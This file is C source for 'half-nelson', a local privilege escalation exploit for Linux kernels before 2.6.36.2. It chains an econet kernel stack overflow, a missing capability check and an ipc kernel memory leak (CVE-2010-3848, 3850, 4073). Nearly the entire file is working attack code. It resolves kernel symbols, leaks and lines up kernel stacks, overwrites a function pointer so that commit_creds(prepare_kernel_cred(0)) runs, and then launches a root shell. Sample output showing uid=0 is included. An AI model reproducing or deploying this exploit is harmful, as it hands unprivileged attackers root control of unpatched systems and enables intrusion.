/* * half-nelson.c * * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 * * Stack-based buffer overflow in the econet_sendmsg function in * net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an * econet address is configured, allows local users to gain privileges by * providing a large number of iovec structures. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850 * * The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel * before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which * allows local users to bypass intended access restrictions and configure * econet addresses via an SIOCSIFADDR ioctl call. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073 * * The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not * initialize certain structures, which allows local users to obtain * potentially sensitive information from kernel stack memory. * * Usage: * * $ gcc half-nelson.c -o half-nelson -lrt * $ ./half-nelson * [+] looking for symbols... * [+] resolved symbol commit_creds to 0xffffffff81088ad0 * [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0 * [+] resolved symbol ia32_sysret to 0xffffffff81046692 * [+] spawning children to achieve adjacent kstacks... * [+] found parent kstack at 0xffff88001c6ca000 * [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000 * [+] lower child spawning a helper... * [+] lower child calling compat_sys_wait4 on helper... * [+] helper going to sleep... * [+] upper child triggering stack overflow... * [+] helper woke up * [+] lower child returned from compat_sys_wait4 * [+] parent's restart_block has been clobbered * [+] escalating privileges... * [+] launching root shell! * # id * uid=0(root) gid=0(root) * * Notes: * * This exploit leverages three vulnerabilities to escalate privileges. * The primary vulnerability is a kernel stack overflow, not a stack buffer * overflow as the CVE description incorrectly states. I believe this is the * first public exploit for a kernel stack overflow, and it turns out to be * a bit tricky due to some particulars of the econet vulnerability. A full * breakdown of the exploit is forthcoming. * * Tested on Ubuntu 10.04 LTS (2.6.32-21-generic). */
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stddef.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <syscall.h> #include <inttypes.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/syscall.h> #include <netinet/in.h> #include <net/if.h>
#define IOVS 446 #define NPROC 1024 #define KSTACK_SIZE 8192
#define KSTACK_UNINIT 0 #define KSTACK_UPPER 1 #define KSTACK_LOWER 2 #define KSTACK_DIE 3 #define KSTACK_PARENT 4 #define KSTACK_CLOBBER 5
#define LEAK_BASE 0xffff880000000000 #define LEAK_TOP 0xffff8800c0000000 #define LEAK_DEPTH 500 #define LEAK_OFFSET 32
#define NR_IPC 0x75 #define NR_WAIT4 0x72 #define SEMCTL 0x3
#ifndef PF_ECONET #define PF_ECONET 19 #endif
#define STACK_OFFSET 6 #define RESTART_OFFSET 40
struct ec_addr { unsigned char station; unsigned char net; };
struct sockaddr_ec { unsigned short sec_family; unsigned char port; unsigned char cb; unsigned char type; struct ec_addr addr; unsigned long cookie; };
struct ipc64_perm { uint32_t key; uint32_t uid; uint32_t gid; uint32_t cuid; uint32_t cgid; uint32_t mode; uint16_t seq; uint16_t __pad2; unsigned long __unused1; unsigned long __unused2; };
struct semid64_ds { struct ipc64_perm sem_perm; unsigned long sem_otime; unsigned long __unused1; unsigned long sem_ctime; unsigned long __unused; unsigned long sem_nsems; unsigned long __unused3; unsigned long __unused4; };
union semun { int val; struct semid_ds *buf; unsigned short *array; struct seminfo *__buf; };
struct region { unsigned long parent; unsigned long addrs[NPROC]; }; struct region *region;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long ia32_sysret; void __attribute__((regparm(3))) kernel_code(void) { commit_creds(prepare_kernel_cred(0)); }
void payload_parent(void) { asm volatile ( "mov $kernel_code, %rax\n" "call *%rax\n" ); }
void payload_child(void) { asm volatile ( "movq $payload_parent, (%0)\n" "jmpq *%1\n" : : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret) ); }
unsigned long get_kstack(void) { int i, size, offset; union semun *arg; struct semid_ds dummy; struct semid64_ds *leaked; char *stack_start, *stack_end; unsigned char *p; unsigned long kstack, *ptr;
/* make sure our argument is 32-bit accessible */ arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (arg == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); }
/* map a fake stack to use during syscall */ stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (stack_start == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } stack_end = stack_start + 4096;
memset(arg, 0, sizeof(union semun)); memset(&dummy, 0, sizeof(struct semid_ds)); arg->buf = &dummy;
/* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "push %%rdi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "movq %5, %%rdi\n" "movq %%rsp, %%r8\n" "movq %6, %%rsp\n" "push %%r8\n" "int $0x80\n" "pop %%r8\n" "movq %%r8, %%rsp\n" "pop %%rdi\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end) : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8" );
/* naively extract a pointer to the kstack from the kstack */ p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET; kstack = *(unsigned long *) p;
if (kstack < LEAK_BASE || kstack > LEAK_TOP) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); } if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); }
kstack = kstack & ~0x1fff; return kstack; }
unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; }
int get_adjacent_kstacks(void) { int i, ret, shm, pid, type;
/* create shared communication channel between parent and its children */ shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); if (shm < 0) { printf("[-] failed creating shared memory, aborting!\n"); exit(1); }
ret = ftruncate(shm, sizeof(struct region)); if (ret != 0) { printf("[-] failed resizing shared memory, aborting!\n"); exit(1); }
region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); memset(region, KSTACK_UNINIT, sizeof(struct region));
/* parent kstack self-discovery */ region->parent = get_kstack();
printf("[+] found parent kstack at 0x%lx\n", region->parent);
/* fork and discover children with adjacently-allocated kernel stacks */ for (i = 0; i < NPROC; ++i) { pid = fork();
if (pid > 0) { type = KSTACK_PARENT; continue; } else if (pid == 0) { /* children do kstack self-discovery */ region->addrs[i] = get_kstack();
/* children sleep until parent has found adjacent children */ while (1) { sleep(1); if (region->addrs[i] == KSTACK_DIE) { /* parent doesn't need us :-( */ exit(0); } else if (region->addrs[i] == KSTACK_UPPER) { /* we're the upper adjacent process */ type = KSTACK_UPPER; break; } else if (region->addrs[i] == KSTACK_LOWER) { /* we're the lower adjacent process */ type = KSTACK_LOWER; break; } } break; } else { printf("[-] fork failed, aborting!\n"); exit(1); } }
return type; }
void do_parent(void) { int i, j, upper, lower;
/* parent sleeps until we've discovered all the child kstacks */ while (1) { sleep(1); for (i = 0; i < NPROC; ++i) { if (region->addrs[i] == KSTACK_UNINIT) { break; } } if (i == NPROC) { break; } }
/* figure out if we have any adjacent child kstacks */ for (i = 0; i < NPROC; ++i) { for (j = 0; j < NPROC; ++j) { if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) { break; } } if (j != NPROC) { break; } } if (i == NPROC && j == NPROC) { printf("[-] failed to find adjacent kstacks, try again!\n"); exit(1); }
upper = i; lower = j;
printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);
/* signal to non-adjacent children to die */ for (i = 0; i < NPROC; ++i) { if (i != upper && i != lower) { region->addrs[i] = KSTACK_DIE; } }
/* signal adjacent children to continue on */ region->addrs[upper] = KSTACK_UPPER; region->addrs[lower] = KSTACK_LOWER;
/* parent sleeps until child has clobbered the fptr */ while (1) { sleep(1); if (region->parent == KSTACK_CLOBBER) { break; } }
printf("[+] escalating privileges...\n");
/* trigger our clobbered fptr */ syscall(__NR_restart_syscall);
/* our privileges should be escalated now */ if (getuid() != 0) { printf("[-] privilege escalation failed, aborting!\n"); exit(1); }
printf("[+] launching root shell!\n");
execl("/bin/sh", "/bin/sh", NULL); }
void do_child_upper(void) { int i, ret, eco_sock; struct sockaddr_ec eco_addr; struct msghdr eco_msg; struct iovec iovs[IOVS]; struct ifreq ifr; char *target;
/* calculate payload target, skip prologue */ target = (char *) payload_child; target += 4; /* give lower child a chance to enter its wait4 call */ sleep(1);
/* write some zeros */ for (i = 0; i < STACK_OFFSET; ++i) { iovs[i].iov_base = (void *) 0x0; iovs[i].iov_len = 0; }
/* overwrite saved ia32_sysret address on stack */ iovs[STACK_OFFSET].iov_base = (void *) target; iovs[STACK_OFFSET].iov_len = 0x0246;
/* force abort via EFAULT */ for (i = STACK_OFFSET + 1; i < IOVS; ++i) { iovs[i].iov_base = (void *) 0xffffffff00000000; iovs[i].iov_len = 0; }
/* create econet socket */ eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0); if (eco_sock < 0) { printf("[-] failed creating econet socket, aborting!\n"); exit(1); }
memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "lo");
/* trick econet into associated with the loopback */ ret = ioctl(eco_sock, SIOCSIFADDR, &ifr); if (ret != 0) { printf("[-] failed setting interface address, aborting!\n"); exit(1); }
memset(&eco_addr, 0, sizeof(eco_addr)); memset(&eco_msg, 0, sizeof(eco_msg)); eco_msg.msg_name = &eco_addr; eco_msg.msg_namelen = sizeof(eco_addr); eco_msg.msg_flags = 0; eco_msg.msg_iov = &iovs[0]; eco_msg.msg_iovlen = IOVS;
printf("[+] upper child triggering stack overflow...\n");
/* trigger the kstack overflow into lower child's kstack */ ret = sendmsg(eco_sock, &eco_msg, 0); if (ret != -1 || errno != EFAULT) { printf("[-] sendmsg succeeded unexpectedly, aborting!\n"); exit(1); }
close(eco_sock); }
void do_child_lower(void) { int pid;
printf("[+] lower child spawning a helper...\n");
/* fork off a helper to wait4 on */ pid = fork(); if (pid == 0) { printf("[+] helper going to sleep...\n"); sleep(5); printf("[+] helper woke up\n"); exit(1); }
printf("[+] lower child calling compat_sys_wait4 on helper...\n");
/* syscall(NR_WAIT4, pid, 0, 0, 0) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "int $0x80\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0) : "memory", "rax", "rbx", "rcx", "rdx", "rsi" );
printf("[+] lower child returned from compat_sys_wait4\n");
printf("[+] parent's restart_block has been clobbered\n");
/* signal parent that our fptr should now be clobbered */ region->parent = KSTACK_CLOBBER; }
int main(int argc, char **argv) { int type;
if (sizeof(unsigned long) != 8) { printf("[-] x86_64 only, sorry!\n"); exit(1); }
printf("[+] looking for symbols...\n"); commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("[-] symbol table not available, aborting!\n"); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] symbol table not available, aborting!\n"); exit(1); }
ia32_sysret = get_symbol("ia32_sysret"); if (!ia32_sysret) { printf("[-] symbol table not available, aborting!\n"); exit(1); }
printf("[+] spawning children to achieve adjacent kstacks...\n");
type = get_adjacent_kstacks();
if (type == KSTACK_PARENT) { do_parent(); } else if (type == KSTACK_UPPER) { do_child_upper(); } else if (type == KSTACK_LOWER) { do_child_lower(); }
return 0; }
|